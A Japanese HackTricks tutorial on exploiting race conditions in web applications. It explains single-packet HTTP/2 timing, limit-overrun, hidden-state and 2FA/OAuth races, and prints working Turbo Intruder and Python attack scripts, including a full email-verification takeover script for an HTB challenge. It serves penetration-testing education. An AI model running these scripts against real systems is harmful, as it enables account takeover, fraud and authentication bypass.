# レースコンディション
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
{% hint style="warning" %}
このテクニックの深い理解を得るには、[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)の元のレポートを確認してください。
{% endhint %}
## レースコンディション攻撃の強化
レースコンディションを利用する際の主な障害は、**複数のリクエストが同時に処理され、処理時間に非常に少ない差があること**を確認することです。理想的には、1ms未満です。
ここでは、リクエストの同期のためのいくつかのテクニックを見つけることができます:
#### HTTP/2シングルパケット攻撃 vs. HTTP/1.1ラストバイト同期
* **HTTP/2**:1つのTCP接続で2つのリクエストを送信できるため、ネットワークの揺れの影響が軽減されます。ただし、サーバーサイドの変動により、2つのリクエストでは一貫したレースコンディションの攻撃ができない場合があります。
* **HTTP/1.1 'ラストバイト同期'**:20〜30のリクエストのほとんどの部分を事前に送信し、小さな断片を保留して、それらを一緒に送信してサーバーに同時に到着させることができます。
**ラストバイト同期の準備**には次の手順が含まれます:
1. ストリームを終了せずに、最後のバイトを除いたヘッダーと本文データを送信します。
2. 初回送信後に100ms待機します。
3. 最終フレームをバッチ処理するためにTCP\_NODELAYを無効にします。
4. 接続をウォームアップするためにピンポンを行います。
保留されたフレームの後続の送信は、Wiresharkを使用して単一のパケットでの到着を確認するはずです。この方法は、通常はRC攻撃に関与しない静的ファイルには適用されません。
### サーバーアーキテクチャへの適応
ターゲットのアーキテクチャを理解することは重要です。フロントエンドサーバーはリクエストのルーティングを異なる方法で行う場合があり、タイミングに影響を与える可能性があります。取るべき予防措置として、無関係なリクエストを介して事前にサーバーサイドの接続をウォームアップすることで、リクエストのタイミングを正常化することができます。
#### セッションベースのロックの処理
PHPのセッションハンドラのようなフレームワークは、セッションごとにリクエストを直列化するため、脆弱性を隠す可能性があります。各リクエストに異なるセッショントークンを使用することで、この問題を回避できます。
#### レートまたはリソース制限の克服
接続のウォームアップが効果がない場合、ダミーリクエストの洪水を通じて意図的にWebサーバーのレートまたはリソース制限の遅延を引き起こすことで、レースコンディションに適したサーバーサイドの遅延を誘発することができます。
## 攻撃例
* **Tubo Intruder - HTTP2シングルパケット攻撃(1つのエンドポイント)**:リクエストを**Turbo Intruder**に送信できます(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように**`%s`**でブルートフォースしたい値をリクエスト内で変更し、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択できます:
**異なる値を送信**する場合は、クリップボードからワードリストを使用するこのコードに変更できます:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
ウェブがHTTP2をサポートしていない場合(HTTP1.1のみ)、`Engine.BURP2`の代わりに`Engine.THREADED`または`Engine.BURP`を使用してください。
{% endhint %}
* **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: RCEをトリガーするために1つのエンドポイントにリクエストを送信し、その後他のエンドポイントに複数のリクエストを送信する必要がある場合、`race-single-packet-attack.py`スクリプトを以下のように変更できます:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* **Repeater**でも、Burp Suiteの新しい '**Send group in parallel**' オプションを使用できます。
* **limit-overrun**の場合、**同じリクエストを50回**グループに追加するだけです。
* **接続ウォーミング**のためには、Webサーバーの非静的部分にいくつかの**リクエスト**を**グループの最初に追加**することができます。
* 1つのリクエストともう1つのリクエストの間のプロセスを**遅延**させるためには、両方のリクエストの間に**追加のリクエストを挿入**することができます。
* **複数のエンドポイント**RCの場合、**隠れた状態に移動するリクエスト**を送信し、その後すぐに**50のリクエスト**を送信して**隠れた状態を悪用**します。
* **自動化されたPythonスクリプト**: このスクリプトの目的は、ユーザーのメールアドレスを変更し続けながら、新しいメールアドレスの検証トークンが最後のメールアドレスに到着するまで継続的に検証することです(これは、コード内でメールを変更できるが、最初のメールアドレスで検証が送信される可能性があるRCが見られたためです。メールを示す変数が最初のメールアドレスで既に埋められていたため)。\
受信したメールに "objetivo" という単語が見つかった場合、変更されたメールの検証トークンを受信したことがわかり、攻撃を終了します。
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Raw BF
以前の研究の前に使用されたいくつかのペイロードは、RCを引き起こすために可能な限り速くパケットを送ろうとするものでした。
- **Repeater:** 前のセクションの例を確認してください。
- **Intruder**: **Intruder** に **リクエスト** を送信し、**オプションメニュー** 内で **スレッド数** を **30** に設定し、ペイロードとして **Null payloads** を選択して **30** を生成します。
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=','Session=','Session=']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **RC Methodology**
### Limit-overrun / TOCTOU
これは、**アクションを実行できる回数を制限する**場所で**現れる脆弱性**が発生する基本的なレースコンディションのタイプです。たとえば、ウェブストアで同じ割引コードを複数回使用することです。非常に簡単な例は[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)に見つけることができます。
この種の攻撃には、次のような多くのバリエーションがあります:
- ギフトカードを複数回利用する
- 製品に複数回評価を付ける
- 口座残高を超えて現金を引き出すまたは送金する
- 単一のCAPTCHAソリューションを再利用する
- 反ブルートフォースレート制限をバイパスする
### **Hidden substates**
複雑なレースコンディションを悪用することは、隠れたまたは**意図しないマシンのサブステート**との短い機会を利用することがしばしば含まれます。以下はアプローチ方法です:
1. **潜在的な隠れたサブステートを特定する**
- ユーザープロファイルやパスワードリセットプロセスなどの重要なデータを変更または操作するエンドポイントを特定することから始めます。以下に焦点を当てます:
- **ストレージ**:サーバーサイドの永続データを操作するエンドポイントを、クライアントサイドのデータを処理するものよりも好みます。
- **アクション**:既存のデータを変更する操作を探し、新しいデータを追加する操作よりも攻撃可能な状況を作りやすいです。
- **キー付け**:成功した攻撃は通常、同じ識別子(たとえば、ユーザー名やリセットトークン)でキー付けされた操作を含みます。
2. **初期探査を実施する**
- 特定されたエンドポイントをレースコンディション攻撃でテストし、予想される結果からの逸脱を観察します。予期しない応答やアプリケーションの振る舞いの変化は、脆弱性を示す可能性があります。
3. **脆弱性をデモンストレーションする**
- 脆弱性を悪用するために必要なリクエストの最小数に絞り込みます。通常、2つのみです。このステップでは、正確なタイミングが関係するため、複数の試行や自動化が必要な場合があります。
### Time Sensitive Attacks
リクエストのタイミングを正確にすることで、予測可能な方法(タイムスタンプなど)がセキュリティトークンに使用されている場合、脆弱性が明らかになることがあります。たとえば、タイムスタンプに基づいてパスワードリセットトークンを生成することで、同時リクエストに対して同一のトークンが可能になるかもしれません。
**悪用方法:**
- 同時にパスワードリセットリクエストを行うために、単一パケット攻撃のような正確なタイミングを使用します。一致するトークンは脆弱性を示します。
**例:**
- 同時に2つのパスワードリセットトークンをリクエストし、それらを比較します。一致するトークンは、トークン生成に欠陥があることを示唆します。
**これを試すために**[**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)**をチェックしてください。**
## Hidden substates case studies
### Pay & add an Item
**この[PortSwigger Lab](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)**をチェックして、ストアで**支払い**を行い、**追加の**支払いが不要な**アイテムを追加する方法を確認してください。
### Confirm other emails
**新しいメールアドレスに変更して同時にメールアドレスを確認**することで、プラットフォームが新しいメールアドレスを確認するかどうかを確認します。
### Change email to 2 emails addresses Cookie based
[**この研究**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取りの脆弱性がある可能性があります。なぜなら、**1つのメールアドレスのメール確認トークンを他のメールアドレスに送信**する可能性があるからです。
**これを試すために**[**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)**をチェックしてください。**
### Hidden Database states / Confirmation Bypass
**データベース内に情報を追加するために2つの異なる書き込み**が使用される場合、**データベースには最初のデータのみが書き込まれた状態**が一時的に存在します。たとえば、ユーザーを作成するときには、**ユーザー名**と**パスワード**が**書き込まれ**、その後、新しく作成されたアカウントを確認するためのトークンが書き込まれます。これは、一時的に**アカウントを確認するトークンがnull**であることを意味します。
したがって、**アカウントを登録し、空のトークン**(`token=`または`token[]=`またはその他のバリエーション)**を使用してアカウントをすぐに確認するために複数のリクエストを送信**することで、メールを制御していないアカウントを**確認**することができる可能性があります。
**これを試すために**[**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)**をチェックしてください。**
### Bypass 2FA
次の疑似コードは、**2FAが強制されていない**状態でセッションが作成されるため、レースコンディションに脆弱性がある可能性があります:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2永続性
いくつかの[**OAuthプロバイダー**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)があります。これらのサービスを使用すると、プロバイダーが登録したユーザーを認証し、アプリケーションを作成して認証できます。そのためには、**クライアント**は**アプリケーションにアクセスを許可**する必要があります。\
したがって、ここまでは、Google/LinkedIn/GitHubなどの一般的なログインで、次のようなページが表示されます: "_アプリケーション\があなたの情報にアクセスすることを希望しています。許可しますか?_"
#### `authorization_code`の競合状態
**問題**は、**それを受け入れる**と、悪意のあるアプリケーションに**`authorization_code`**が自動的に送信されると発生します。その後、この**アプリケーションはOAuthサービスプロバイダー内の競合状態を悪用して、`authorization_code`から複数のAT/RT**(_認証トークン/リフレッシュトークン_)を生成します。基本的に、アプリケーションがデータにアクセスすることを許可したことを悪用して、**複数のアカウントを作成**します。その後、**アプリケーションにデータへのアクセスを許可するのを停止すると、1組のAT/RTが削除されますが、他のものは引き続き有効**です。
#### `Refresh Token`の競合状態
**有効なRTを取得**した後、それを悪用して複数のAT/RTを生成しようとすることができ、そして、ユーザーが悪意のあるアプリケーションにデータへのアクセス権限を**キャンセルしても、複数のRTが引き続き有効**である可能性があります。
## **WebSocketsにおけるRC**
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC)では、**Webソケットでも競合状態を悪用する**ために**並列**でウェブソケットメッセージを送信するJavaのPoCが見つかります。
## 参考文献
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)で!
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}